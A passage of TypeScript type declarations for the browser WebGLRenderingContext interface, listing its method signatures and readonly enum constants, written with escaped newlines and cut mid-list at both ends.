drawingBufferWidth: number;\\n    activeTexture(texture: number): void;\\n    attachShader(program: WebGLProgram | null, shader: WebGLShader | null): void;\\n    bindAttribLocation(program: WebGLProgram | null, index: number, name: string): void;\\n    bindBuffer(target: number, buffer: WebGLBuffer | null): void;\\n    bindFramebuffer(target: number, framebuffer: WebGLFramebuffer | null): void;\\n    bindRenderbuffer(target: number, renderbuffer: WebGLRenderbuffer | null): void;\\n    bindTexture(target: number, texture: WebGLTexture | null): void;\\n    blendColor(red: number, green: number, blue: number, alpha: number): void;\\n    blendEquation(mode: number): void;\\n    blendEquationSeparate(modeRGB: number, modeAlpha: number): void;\\n    blendFunc(sfactor: number, dfactor: number): void;\\n    blendFuncSeparate(srcRGB: number, dstRGB: number, srcAlpha: number, dstAlpha: number): void;\\n    bufferData(target: number, size: number | ArrayBufferView | ArrayBuffer, usage: number): void;\\n    bufferSubData(target: number, offset: number, data: ArrayBufferView | ArrayBuffer): void;\\n    checkFramebufferStatus(target: number): number;\\n    clear(mask: number): void;\\n    clearColor(red: number, green: number, blue: number, alpha: number): void;\\n    clearDepth(depth: number): void;\\n    clearStencil(s: number): void;\\n    colorMask(red: boolean, green: boolean, blue: boolean, alpha: boolean): void;\\n    compileShader(shader: WebGLShader | null): void;\\n    compressedTexImage2D(target: number, level: number, internalformat: number, width: number, height: number, border: number, data: ArrayBufferView): void;\\n    compressedTexSubImage2D(target: number, level: number, xoffset: number, yoffset: number, width: number, height: number, format: number, data: ArrayBufferView): void;\\n    copyTexImage2D(target: number, level: number, internalformat: number, x: number, y: number, width: number, height: number, border: number): void;\\n    copyTexSubImage2D(target: number, level: number, xoffset: number, yoffset: number, x: number, y: number, width: number, height: number): void;\\n    createBuffer(): WebGLBuffer | null;\\n    createFramebuffer(): WebGLFramebuffer | null;\\n    createProgram(): WebGLProgram | null;\\n    createRenderbuffer(): WebGLRenderbuffer | null;\\n    createShader(type: number): WebGLShader | null;\\n    createTexture(): WebGLTexture | null;\\n    cullFace(mode: number): void;\\n    deleteBuffer(buffer: WebGLBuffer | null): void;\\n    deleteFramebuffer(framebuffer: WebGLFramebuffer | null): void;\\n    deleteProgram(program: WebGLProgram | null): void;\\n    deleteRenderbuffer(renderbuffer: WebGLRenderbuffer | null): void;\\n    deleteShader(shader: WebGLShader | null): void;\\n    deleteTexture(texture: WebGLTexture | null): void;\\n    depthFunc(func: number): void;\\n    depthMask(flag: boolean): void;\\n    depthRange(zNear: number, zFar: number): void;\\n    detachShader(program: WebGLProgram | null, shader: WebGLShader | null): void;\\n    disable(cap: number): void;\\n    disableVertexAttribArray(index: number): void;\\n    drawArrays(mode: number, first: number, count: number): void;\\n    drawElements(mode: number, count: number, type: number, offset: number): void;\\n    enable(cap: number): void;\\n    enableVertexAttribArray(index: number): void;\\n    finish(): void;\\n    flush(): void;\\n    framebufferRenderbuffer(target: number, attachment: number, renderbuffertarget: number, renderbuffer: WebGLRenderbuffer | null): void;\\n    framebufferTexture2D(target: number, attachment: number, textarget: number, texture: WebGLTexture | null, level: number): void;\\n    frontFace(mode: number): void;\\n    generateMipmap(target: number): void;\\n    getActiveAttrib(program: WebGLProgram | null, index: number): WebGLActiveInfo | null;\\n    getActiveUniform(program: WebGLProgram | null, index: number): WebGLActiveInfo | null;\\n    getAttachedShaders(program: WebGLProgram | null): WebGLShader[] | null;\\n    getAttribLocation(program: WebGLProgram | null, name: string): number;\\n    getBufferParameter(target: number, pname: number): any;\\n    getContextAttributes(): WebGLContextAttributes;\\n    getError(): number;\\n    getExtension(name: string): any;\\n    getFramebufferAttachmentParameter(target: number, attachment: number, pname: number): any;\\n    getParameter(pname: number): any;\\n    getProgramInfoLog(program: WebGLProgram | null): string | null;\\n    getProgramParameter(program: WebGLProgram | null, pname: number): any;\\n    getRenderbufferParameter(target: number, pname: number): any;\\n    getShaderInfoLog(shader: WebGLShader | null): string | null;\\n    getShaderParameter(shader: WebGLShader | null, pname: number): any;\\n    getShaderPrecisionFormat(shadertype: number, precisiontype: number): WebGLShaderPrecisionFormat | null;\\n    getShaderSource(shader: WebGLShader | null): string | null;\\n    getSupportedExtensions(): string[] | null;\\n    getTexParameter(target: number, pname: number): any;\\n    getUniform(program: WebGLProgram | null, location: WebGLUniformLocation | null): any;\\n    getUniformLocation(program: WebGLProgram | null, name: string): WebGLUniformLocation | null;\\n    getVertexAttrib(index: number, pname: number): any;\\n    getVertexAttribOffset(index: number, pname: number): number;\\n    hint(target: number, mode: number): void;\\n    isBuffer(buffer: WebGLBuffer | null): boolean;\\n    isContextLost(): boolean;\\n    isEnabled(cap: number): boolean;\\n    isFramebuffer(framebuffer: WebGLFramebuffer | null): boolean;\\n    isProgram(program: WebGLProgram | null): boolean;\\n    isRenderbuffer(renderbuffer: WebGLRenderbuffer | null): boolean;\\n    isShader(shader: WebGLShader | null): boolean;\\n    isTexture(texture: WebGLTexture | null): boolean;\\n    lineWidth(width: number): void;\\n    linkProgram(program: WebGLProgram | null): void;\\n    pixelStorei(pname: number, param: number | boolean): void;\\n    polygonOffset(factor: number, units: number): void;\\n    readPixels(x: number, y: number, width: number, height: number, format: number, type: number, pixels: ArrayBufferView | null): void;\\n    renderbufferStorage(target: number, internalformat: number, width: number, height: number): void;\\n    sampleCoverage(value: number, invert: boolean): void;\\n    scissor(x: number, y: number, width: number, height: number): void;\\n    shaderSource(shader: WebGLShader | null, source: string): void;\\n    stencilFunc(func: number, ref: number, mask: number): void;\\n    stencilFuncSeparate(face: number, func: number, ref: number, mask: number): void;\\n    stencilMask(mask: number): void;\\n    stencilMaskSeparate(face: number, mask: number): void;\\n    stencilOp(fail: number, zfail: number, zpass: number): void;\\n    stencilOpSeparate(face: number, fail: number, zfail: number, zpass: number): void;\\n    texImage2D(target: number, level: number, internalformat: number, width: number, height: number, border: number, format: number, type: number, pixels: ArrayBufferView | null): void;\\n    texImage2D(target: number, level: number, internalformat: number, format: number, type: number, pixels: ImageBitmap | ImageData | HTMLVideoElement | HTMLImageElement | HTMLCanvasElement): void;\\n    texParameterf(target: number, pname: number, param: number): void;\\n    texParameteri(target: number, pname: number, param: number): void;\\n    texSubImage2D(target: number, level: number, xoffset: number, yoffset: number, width: number, height: number, format: number, type: number, pixels: ArrayBufferView | null): void;\\n    texSubImage2D(target: number, level: number, xoffset: number, yoffset: number, format: number, type: number, pixels: ImageBitmap | ImageData | HTMLVideoElement | HTMLImageElement | HTMLCanvasElement): void;\\n    uniform1f(location: WebGLUniformLocation | null, x: number): void;\\n    uniform1fv(location: WebGLUniformLocation, v: Float32Array | number[]): void;\\n    uniform1i(location: WebGLUniformLocation | null, x: number): void;\\n    uniform1iv(location: WebGLUniformLocation, v: Int32Array | number[]): void;\\n    uniform2f(location: WebGLUniformLocation | null, x: number, y: number): void;\\n    uniform2fv(location: WebGLUniformLocation, v: Float32Array | number[]): void;\\n    uniform2i(location: WebGLUniformLocation | null, x: number, y: number): void;\\n    uniform2iv(location: WebGLUniformLocation, v: Int32Array | number[]): void;\\n    uniform3f(location: WebGLUniformLocation | null, x: number, y: number, z: number): void;\\n    uniform3fv(location: WebGLUniformLocation, v: Float32Array | number[]): void;\\n    uniform3i(location: WebGLUniformLocation | null, x: number, y: number, z: number): void;\\n    uniform3iv(location: WebGLUniformLocation, v: Int32Array | number[]): void;\\n    uniform4f(location: WebGLUniformLocation | null, x: number, y: number, z: number, w: number): void;\\n    uniform4fv(location: WebGLUniformLocation, v: Float32Array | number[]): void;\\n    uniform4i(location: WebGLUniformLocation | null, x: number, y: number, z: number, w: number): void;\\n    uniform4iv(location: WebGLUniformLocation, v: Int32Array | number[]): void;\\n    uniformMatrix2fv(location: WebGLUniformLocation, transpose: boolean, value: Float32Array | number[]): void;\\n    uniformMatrix3fv(location: WebGLUniformLocation, transpose: boolean, value: Float32Array | number[]): void;\\n    uniformMatrix4fv(location: WebGLUniformLocation, transpose: boolean, value: Float32Array | number[]): void;\\n    useProgram(program: WebGLProgram | null): void;\\n    validateProgram(program: WebGLProgram | null): void;\\n    vertexAttrib1f(indx: number, x: number): void;\\n    vertexAttrib1fv(indx: number, values: Float32Array | number[]): void;\\n    vertexAttrib2f(indx: number, x: number, y: number): void;\\n    vertexAttrib2fv(indx: number, values: Float32Array | number[]): void;\\n    vertexAttrib3f(indx: number, x: number, y: number, z: number): void;\\n    vertexAttrib3fv(indx: number, values: Float32Array | number[]): void;\\n    vertexAttrib4f(indx: number, x: number, y: number, z: number, w: number): void;\\n    vertexAttrib4fv(indx: number, values: Float32Array | number[]): void;\\n    vertexAttribPointer(indx: number, size: number, type: number, normalized: boolean, stride: number, offset: number): void;\\n    viewport(x: number, y: number, width: number, height: number): void;\\n    readonly ACTIVE_ATTRIBUTES: number;\\n    readonly ACTIVE_TEXTURE: number;\\n    readonly ACTIVE_UNIFORMS: number;\\n    readonly ALIASED_LINE_WIDTH_RANGE: number;\\n    readonly ALIASED_POINT_SIZE_RANGE: number;\\n    readonly ALPHA: number;\\n    readonly ALPHA_BITS: number;\\n    readonly ALWAYS: number;\\n    readonly ARRAY_BUFFER: number;\\n    readonly ARRAY_BUFFER_BINDING: number;\\n    readonly ATTACHED_SHADERS: number;\\n    readonly BACK: number;\\n    readonly BLEND: number;\\n    readonly BLEND_COLOR: number;\\n    readonly BLEND_DST_ALPHA: number;\\n    readonly BLEND_DST_RGB: number;\\n    readonly BLEND_EQUATION: number;\\n    readonly BLEND_EQUATION_ALPHA: number;\\n    readonly BLEND_EQUATION_RGB: number;\\n    readonly BLEND_SRC_ALPHA: number;\\n    readonly BLEND_SRC_RGB: number;\\n    readonly BLUE_BITS: number;\\n    readonly BOOL: number;\\n    readonly BOOL_VEC2: number;\\n    readonly BOOL_VEC3: number;\\n    readonly BOOL_VEC4: number;\\n    readonly BROWSER_DEFAULT_WEBGL: number;\\n    readonly BUFFER_SIZE: number;\\n    readonly BUFFER_USAGE: number;\\n    readonly BYTE: number;\\n    readonly CCW: number;\\n    readonly CLAMP_TO_EDGE: number;\\n    readonly COLOR_ATTACHMENT0: number;\\n    readonly COLOR_BUFFER_BIT: number;\\n    readonly COLOR_CLEAR_VALUE: number;\\n    readonly COLOR_WRITEMASK: number;\\n    readonly COMPILE_STATUS: number;\\n    readonly COMPRESSED_TEXTURE_FORMATS: number;\\n    readonly CONSTANT_ALPHA: number;\\n    readonly CONSTANT_COLOR: number;\\n    readonly CONTEXT_LOST_WEBGL: number;\\n    readonly CULL_FACE: number;\\n    readonly CULL_FACE_MODE: number;\\n    readonly CURRENT_PROGRAM: number;\\n    readonly CURRENT_VERTEX_ATTRIB: number;\\n    readonly CW: number;\\n    readonly DECR: number;\\n    readonly DECR_WRAP: number;\\n    readonly DELETE_STATUS: number;\\n    readonly DEPTH_ATTACHMENT: number;\\n    readonly DEPTH_BITS: number;\\n    readonly DEPTH_BUFFER_BIT: number;\\n    readonly DEPTH_CLEAR_VALUE: number;\\n    readonly DEPTH_COMPONENT: number;\\n    readonly DEPTH_COMPONENT16: number;\\n    readonly DEPTH_FUNC: number;\\n    readonly DEPTH_RANGE: number;\\n    readonly DEPTH_STENCIL: number;\\n    readonly DEPTH_STENCIL_ATTACHMENT: number;\\n    readonly DEPTH_TEST: number;\\n    readonly DEPTH_WRITEMASK: number;\\n    readonly DITHER: number;\\n    readonly DONT_CARE: number;\\n    readonly DST_ALPHA: number;\\n    readonly DST_COLOR: number;\\n    readonly DYNAMIC_DRAW: number;\\n    readonly ELEMENT_ARRAY_BUFFER: number;\\n    readonly ELEMENT_ARRAY_BUFFER_BINDING: number;\\n    readonly EQUAL: number;\\n    readonly FASTEST: number;\\n    readonly FLOAT: number;\\n    readonly FLOAT_MAT2: number;\\n    readonly FLOAT_MAT3: number;\\n    readonly FLOAT_MAT4: number;\\n    readonly FLOAT_VEC2: number;\\n    readonly FLOAT_VEC3: number;\\n    readonly FLOAT_VEC4: number;\\n    readonly FRAGMENT_SHADER: number;\\n    readonly FRAMEBUFFER: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_OBJECT_NAME: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL: number;\\n    readonly FRAMEBUFFER_BINDING: number;\\n    readonly FRAMEBUFFER_COMPLETE: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_ATTACHMENT: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_DIMENSIONS: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT: number;\\n    readonly FRAMEBUFFER_UNSUPPORTED: number;\\n    readonly FRONT: number;\\n    readonly FRONT_AND_BACK: number;\\n    readonly FRONT_FACE: number;\\n    readonly FUNC_ADD: number;\\n    readonly FUNC_REVERSE_SUBTRACT: number;\\n    readonly FUNC_SUBTRACT: number;\\n    readonly GENERATE_MIPMAP_HINT: number;\\n    readonly GEQUAL: number;\\n    readonly GREATER: number;\\n    readonly GREEN_BITS: number;\\n    readonly HIGH_FLOAT: number;\\n    readonly HIGH_INT: number;\\n    readonly IMPLEMENTATION_COLOR_READ_FORMAT: number;\\n    readonly IMPLEMENTATION_COLOR_READ_TYPE: number;\\n    readonly INCR: number;\\n    readonly INCR_WRAP: number;\\n    readonly INT: number;\\n    readonly INT_VEC2: number;\\n    readonly INT_VEC3: number;\\n    readonly INT_VEC4: number;\\n    readonly INVALID_ENUM: number;\\n    readonly INVALID_FRAMEBUFFER_OPERATION: number;\\n    readonly INVALID_OPERATION: number;\\n    readonly INVALID_VALUE: number;\\n    readonly INVERT: number;\\n    readonly KEEP: number;\\n    readonly LEQUAL: number;\\n    readonly LESS: number;\\n    readonly LINE_LOOP: number;\\n    readonly LINE_STRIP: number;\\n    readonly LINE_WIDTH: number;\\n    readonly LINEAR: number;\\n    readonly LINEAR_MIPMAP_LINEAR: number;\\n    readonly LINEAR_MIPMAP_NEAREST: number;\\n    readonly LINES: number;\\n    readonly LINK_STATUS: number;\\n    readonly LOW_FLOAT: number;\\n    readonly LOW_INT: number;\\n    readonly LUMINANCE: number;\\n    readonly LUMINANCE_ALPHA: number;\\n    readonly MAX_COMBINED_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_CUBE_MAP_TEXTURE_SIZE: number;\\n    readonly MAX_FRAGMENT_UNIFORM_VECTORS: number;\\n    readonly MAX_RENDERBUFFER_SIZE: number;\\n    readonly MAX_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_TEXTURE_SIZE: number;\\n    readonly MAX_VARYING_VECTORS: number;\\n    readonly MAX_VERTEX_ATTRIBS: number;\\n    readonly MAX_VERTEX_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_VERTEX_UNIFORM_VECTORS: number;\\n    readonly MAX_VIEWPORT_DIMS: number;\\n    readonly MEDIUM_FLOAT: number;\\n    readonly MEDIUM_INT: number;\\n    readonly MIRRORED_REPEAT: number;\\n    readonly NEAREST: number;\\n    readonly NEAREST_MIPMAP_LINEAR: number;\\n    readonly NEAREST_MIPMAP_NEAREST: number;\\n    readonly NEVER: number;\\n    readonly NICEST: number;\\n    readonly NO_ERROR: number;\\n    readonly NONE: number;\\n    readonly NOTEQUAL: number;\\n    readonly ONE: number;\\n    readonly ONE_MINUS_CONSTANT_ALPHA: number;\\n    readonly ONE_MINUS_CONSTANT_COLOR: number;\\n    readonly ONE_MINUS_DST_ALPHA: number;\\n    readonly ONE_MINUS_DST_COLOR: number;\\n    readonly ONE_MINUS_SRC_ALPHA: number;\\n    readonly ONE_MINUS_SRC_COLOR: number;\\n    readonly OUT_OF_MEMORY: number;\\n    readonly PACK_ALIGNMENT: number;\\n    readonly POINTS: number;\\n    readonly POLYGON_OFFSET_FACTOR: number;\\n    readonly POLYGON_OFFSET_FILL: number;\\n    readonly POLYGON_OFFSET_UNITS: number;\\n    readonly RED_BITS: number;\\n    readonly RENDERBUFFER: number;\\n    readonly RENDERBUFFER_ALPHA_SIZE: number;\\n    readonly RENDERBUFFER_BINDING: number;\\n    readonly RENDERBUFFER_BLUE_SIZE: number;\\n    readonly RENDERBUFFER_DEPTH_SIZE: number;\\n    readonly RENDERBUFFER_GREEN_SIZE: number;\\n    readonly RENDERBUFFER_HEIGHT: number;\\n    readonly RENDERBUFFER_INTERNAL_FORMAT: number;\\n    readonly RENDERBUFFER_RED_SIZE: number;\\n    readonly RENDERBUFFER_STENCIL_SIZE: number;\\n    readonly RENDERBUFFER_WIDTH: number;\\n    readonly RENDERER: number;\\n    readonly REPEAT: number;\\n    readonly REPLACE: number;\\n    readonly RGB: number;\\n    readonly RGB5_A1: number;\\n    readonly RGB565: number;\\n    readonly RGBA: number;\\n    readonly RGBA4: number;\\n    readonly SAMPLE_ALPHA_TO_COVERAGE: number;\\n    readonly SAMPLE_BUFFERS: number;\\n    readonly SAMPLE_COVERAGE: number;\\n    readonly SAMPLE_COVERAGE_INVERT: number;\\n    readonly SAMPLE_COVERAGE_VALUE: number;\\n    readonly SAMPLER_2D: number;\\n    readonly SAMPLER_CUBE: number;\\n    readonly SAMPLES: number;\\n    readonly SCISSOR_BOX: number;\\n    readonly SCISSOR_TEST: number;\\n    readonly SHADER_TYPE: number;\\n    readonly SHADING_LANGUAGE_VERSION: number;\\n    readonly SHORT: number;\\n    readonly SRC_ALPHA: number;\\n    readonly SRC_ALPHA_SATURATE: number;\\n    readonly SRC_COLOR: number;\\n    readonly STATIC_DRAW: number;\\n    readonly STENCIL_ATTACHMENT: number;\\n    readonly STENCIL_BACK_FAIL: number;\\n    readonly STENCIL_BACK_FUNC: number;\\n    readonly STENCIL_BACK_PASS_DEPTH_FAIL: number;\\n    readonly STENCIL_BACK_PASS_DEPTH_PASS: number;\\n    readonly STENCIL_BACK_REF: number;\\n    readonly STENCIL_BACK_VALUE_MASK: number;\\n    readonly STENCIL_BACK_WRITEMASK: number;\\n    readonly STENCIL_BITS: number;\\n    readonly STENCIL_BUFFER_BIT: number;\\n    readonly STENCIL_CLEAR_VALUE: number;\\n    readonly STENCIL_FAIL: number;\\n    readonly STENCIL_FUNC: number;\\n    readonly STENCIL_INDEX: number;\\n    readonly STENCIL_INDEX8: number;\\n    readonly STENCIL_PASS_DEPTH_FAIL: number;\\n    readonly STENCIL_PASS_DEPTH_PASS: number;\\n    readonly STENCIL_REF: number;\\n    readonly STENCIL_TEST: number;\\n    readonly STENCIL_VALUE_MASK: number;\\n    readonly STENCIL_WRITEMASK: number;\\n    readonly STREAM_DRAW: number;\\n    readonly SUBPIXEL_BITS: number;\\n    readonly TEXTURE: number;\\n    readonly TEXTURE_2D: number;\\n    readonly TEXTURE_BINDING_2D: number;\\n    readonly TEXTURE_BINDING_CUBE_MAP: number;\\n    readonly TEXTURE_CUBE_MAP: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_X: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_Y: number;\\n    readonly TEXTURE_CUBE_MAP_NEGATIVE_Z: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_X: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_Y: number;\\n    readonly TEXTURE_CUBE_MAP_POSITIVE_Z: number;\\n    readonly TEXTURE_MAG_FILTER: number;\\n    readonly TEXTURE_MIN_FILTER: number;\\n    readonly TEXTURE_WRAP_S: number;\\n    readonly TEXTURE_WRAP_T: number;\\n    readonly TEXTURE0: number;\\n    readonly TEXTURE1: number;\\n    readonly TEXTURE10: number;\\n    readonly TEXTURE11: number;\\n    readonly TEXTURE12: number;\\n    readonly TEXTURE13: number;\\n    readonly TEXTURE14: number;\\n    readonly TEXTURE15: number;\\n    readonly TEXTURE16: number;\\n    readonly TEXTURE17: number;\\n    readonly TEXTURE18: number;\\n    readonly TEXTURE19: number;\\n    readonly TEXTURE2: number;\\n    readonly TEXTURE20: number;\\n    readonly TEXTURE21: number;\\n    readonly TEXTURE22: number;\\n    readonly TEXTURE23: number;\\n    readonly TEXTURE24: number;\\n    readonly TEXTURE25: number;\\n    readonly TEXTURE26: number;\\n    readonly TEXTURE27: number;\\n    readonly TEXTURE28: number;\\n    readonly TEXTURE29: number;\\n    readonly TEXTURE3: number;\\n    readonly TEXTURE30: number;\\n    readonly TEXTURE31: number;\\n    readonly TEXTURE4: number;\\n    readonly TEXTURE5: number;\\n    readonly TEXTURE6: number;\\n    readonly TEXTURE7: number;\\n    readonly TEXTURE8: number;\\n    readonly TEXTURE9: number;\\n    readonly TRIANGLE_FAN: number;\\n    readonly TRIANGLE_STRIP: number;\\n    readonly TRIANGLES: number;\\n    readonly UNPACK_ALIGNMENT: number;\\n    readonly UNPACK_COLORSPACE_CONVERSION_WEBGL: number;\\n    readonly UNPACK_FLIP_Y_WEBGL: number;\\n    readonly UNPACK_PREMULTIPLY_ALPHA_WEBGL: number;\\n    readonly UNSIGNED_BYTE: number;\\n    readonly UNSIGNED_INT: number;\\n    readonly UNSIGNED_SHORT: number;\\n    readonly UNSIGNED_SHORT_4_4_4_4: number;\\n    readonly UNSIGNED_SHORT_5_5_5_1: number;\\n    readonly UNSIGNED_SHORT_5_6_5: number;\\n    readonly VALIDATE_STATUS: number;\\n    readonly VENDOR: number;\\n    readonly VERSION: number;\\n    readonly VERTEX_ATTRIB_ARRAY_BUFFER_BINDING: number;\\n    readonly VERTEX_ATTRIB_ARRAY_ENABLED: number;\\n    readonly VERTEX_ATTRIB_ARRAY_NORMALIZED: number;\\n    readonly VERTEX_ATTRIB_ARRAY_POINTER: number;\\n    readonly VERTEX_ATTRIB_ARRAY_SIZE: number;\\n    readonly VERTEX_ATTRIB_ARRAY_STRIDE: number;\\n    readonly VERTEX_ATTRIB_ARRAY_TYPE: number;\\n    readonly VERTEX_SHADER: number;\\n    readonly VIEWPORT: number;\\n    readonly ZERO: number;\\n}\\n\\ndeclare var WebGLRenderingContext: {\\n    prototype: WebGLRenderingContext;\\n    new(): WebGLRenderingContext;\\n    readonly ACTIVE_ATTRIBUTES: number;\\n    readonly ACTIVE_TEXTURE: number;\\n    readonly ACTIVE_UNIFORMS: number;\\n    readonly ALIASED_LINE_WIDTH_RANGE: number;\\n    readonly ALIASED_POINT_SIZE_RANGE: number;\\n    readonly ALPHA: number;\\n    readonly ALPHA_BITS: number;\\n    readonly ALWAYS: number;\\n    readonly ARRAY_BUFFER: number;\\n    readonly ARRAY_BUFFER_BINDING: number;\\n    readonly ATTACHED_SHADERS: number;\\n    readonly BACK: number;\\n    readonly BLEND: number;\\n    readonly BLEND_COLOR: number;\\n    readonly BLEND_DST_ALPHA: number;\\n    readonly BLEND_DST_RGB: number;\\n    readonly BLEND_EQUATION: number;\\n    readonly BLEND_EQUATION_ALPHA: number;\\n    readonly BLEND_EQUATION_RGB: number;\\n    readonly BLEND_SRC_ALPHA: number;\\n    readonly BLEND_SRC_RGB: number;\\n    readonly BLUE_BITS: number;\\n    readonly BOOL: number;\\n    readonly BOOL_VEC2: number;\\n    readonly BOOL_VEC3: number;\\n    readonly BOOL_VEC4: number;\\n    readonly BROWSER_DEFAULT_WEBGL: number;\\n    readonly BUFFER_SIZE: number;\\n    readonly BUFFER_USAGE: number;\\n    readonly BYTE: number;\\n    readonly CCW: number;\\n    readonly CLAMP_TO_EDGE: number;\\n    readonly COLOR_ATTACHMENT0: number;\\n    readonly COLOR_BUFFER_BIT: number;\\n    readonly COLOR_CLEAR_VALUE: number;\\n    readonly COLOR_WRITEMASK: number;\\n    readonly COMPILE_STATUS: number;\\n    readonly COMPRESSED_TEXTURE_FORMATS: number;\\n    readonly CONSTANT_ALPHA: number;\\n    readonly CONSTANT_COLOR: number;\\n    readonly CONTEXT_LOST_WEBGL: number;\\n    readonly CULL_FACE: number;\\n    readonly CULL_FACE_MODE: number;\\n    readonly CURRENT_PROGRAM: number;\\n    readonly CURRENT_VERTEX_ATTRIB: number;\\n    readonly CW: number;\\n    readonly DECR: number;\\n    readonly DECR_WRAP: number;\\n    readonly DELETE_STATUS: number;\\n    readonly DEPTH_ATTACHMENT: number;\\n    readonly DEPTH_BITS: number;\\n    readonly DEPTH_BUFFER_BIT: number;\\n    readonly DEPTH_CLEAR_VALUE: number;\\n    readonly DEPTH_COMPONENT: number;\\n    readonly DEPTH_COMPONENT16: number;\\n    readonly DEPTH_FUNC: number;\\n    readonly DEPTH_RANGE: number;\\n    readonly DEPTH_STENCIL: number;\\n    readonly DEPTH_STENCIL_ATTACHMENT: number;\\n    readonly DEPTH_TEST: number;\\n    readonly DEPTH_WRITEMASK: number;\\n    readonly DITHER: number;\\n    readonly DONT_CARE: number;\\n    readonly DST_ALPHA: number;\\n    readonly DST_COLOR: number;\\n    readonly DYNAMIC_DRAW: number;\\n    readonly ELEMENT_ARRAY_BUFFER: number;\\n    readonly ELEMENT_ARRAY_BUFFER_BINDING: number;\\n    readonly EQUAL: number;\\n    readonly FASTEST: number;\\n    readonly FLOAT: number;\\n    readonly FLOAT_MAT2: number;\\n    readonly FLOAT_MAT3: number;\\n    readonly FLOAT_MAT4: number;\\n    readonly FLOAT_VEC2: number;\\n    readonly FLOAT_VEC3: number;\\n    readonly FLOAT_VEC4: number;\\n    readonly FRAGMENT_SHADER: number;\\n    readonly FRAMEBUFFER: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_OBJECT_NAME: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE: number;\\n    readonly FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL: number;\\n    readonly FRAMEBUFFER_BINDING: number;\\n    readonly FRAMEBUFFER_COMPLETE: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_ATTACHMENT: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_DIMENSIONS: number;\\n    readonly FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT: number;\\n    readonly FRAMEBUFFER_UNSUPPORTED: number;\\n    readonly FRONT: number;\\n    readonly FRONT_AND_BACK: number;\\n    readonly FRONT_FACE: number;\\n    readonly FUNC_ADD: number;\\n    readonly FUNC_REVERSE_SUBTRACT: number;\\n    readonly FUNC_SUBTRACT: number;\\n    readonly GENERATE_MIPMAP_HINT: number;\\n    readonly GEQUAL: number;\\n    readonly GREATER: number;\\n    readonly GREEN_BITS: number;\\n    readonly HIGH_FLOAT: number;\\n    readonly HIGH_INT: number;\\n    readonly IMPLEMENTATION_COLOR_READ_FORMAT: number;\\n    readonly IMPLEMENTATION_COLOR_READ_TYPE: number;\\n    readonly INCR: number;\\n    readonly INCR_WRAP: number;\\n    readonly INT: number;\\n    readonly INT_VEC2: number;\\n    readonly INT_VEC3: number;\\n    readonly INT_VEC4: number;\\n    readonly INVALID_ENUM: number;\\n    readonly INVALID_FRAMEBUFFER_OPERATION: number;\\n    readonly INVALID_OPERATION: number;\\n    readonly INVALID_VALUE: number;\\n    readonly INVERT: number;\\n    readonly KEEP: number;\\n    readonly LEQUAL: number;\\n    readonly LESS: number;\\n    readonly LINE_LOOP: number;\\n    readonly LINE_STRIP: number;\\n    readonly LINE_WIDTH: number;\\n    readonly LINEAR: number;\\n    readonly LINEAR_MIPMAP_LINEAR: number;\\n    readonly LINEAR_MIPMAP_NEAREST: number;\\n    readonly LINES: number;\\n    readonly LINK_STATUS: number;\\n    readonly LOW_FLOAT: number;\\n    readonly LOW_INT: number;\\n    readonly LUMINANCE: number;\\n    readonly LUMINANCE_ALPHA: number;\\n    readonly MAX_COMBINED_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_CUBE_MAP_TEXTURE_SIZE: number;\\n    readonly MAX_FRAGMENT_UNIFORM_VECTORS: number;\\n    readonly MAX_RENDERBUFFER_SIZE: number;\\n    readonly MAX_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_TEXTURE_SIZE: number;\\n    readonly MAX_VARYING_VECTORS: number;\\n    readonly MAX_VERTEX_ATTRIBS: number;\\n    readonly MAX_VERTEX_TEXTURE_IMAGE_UNITS: number;\\n    readonly MAX_VERTEX_UNIFORM_VECTORS: number;\\n    readonly MAX_VIEWPORT_DIMS: number;\\n    readonly MEDIUM_FLOAT: number;\\n    readonly MEDIUM_INT: number;\\n    readonly MIRRORED_REPEAT: number;\\n    readonly NEAREST: number;\\n    readonly NEAREST_MIPMAP_LINEAR: number;\\n    readonly NEAREST_MIPMAP_NEAREST: number;\\n    readonly NEVER: number;\\n    readonly NICEST: number;\\n    readonly NO_ERROR: number;\\n    readonly NONE: number;\\n    readonly NOTEQUAL: number;\\n    readonly ONE: number;\\n    readonly ONE_MINUS_CONSTANT_ALPHA: number;\\n    readonly ONE_MINUS_CONSTANT_COLOR: number;\\n    readonly ONE_MINUS_DST_ALPHA: number;\\n    readonly ONE_MINUS_DST_COLOR: number;\\n    readonly ONE_MINUS_SRC_ALPHA: number;\\n    readonly ONE_MINUS_SRC_COLOR: number;\\n    readonly OUT_OF_MEMORY: number;\\n    readonly PACK_ALIGNMENT: number;\\n    readonly POINTS: number;\\n    readonly POLYGON_OFFSET_FACTOR: number;\\n    readonly POLYGON_OFFSET_FILL: number;\\n    readonly POLYGON_OFFSET_UNITS: number;\\n    readonly RED_BITS: number;\\n    readonly RENDERBUFFER: number;\\n    readonly RENDERBUFFER_ALPHA_SIZE: number;\\n    readonly RENDERBUFFER_BINDING: number;\\n    readonly RENDERBUFFER_BLUE_SIZE: number;\\n    readonly RENDERBUFFER_DEPTH_SIZE: number;\\n    readonly RENDERBUFFER_GREEN_SIZE: number;\\n    readonly RENDERBUFFER_HEIGHT: number;\\n    readonly RENDERBUFFER_INTERNAL_FORMAT: number;\\n    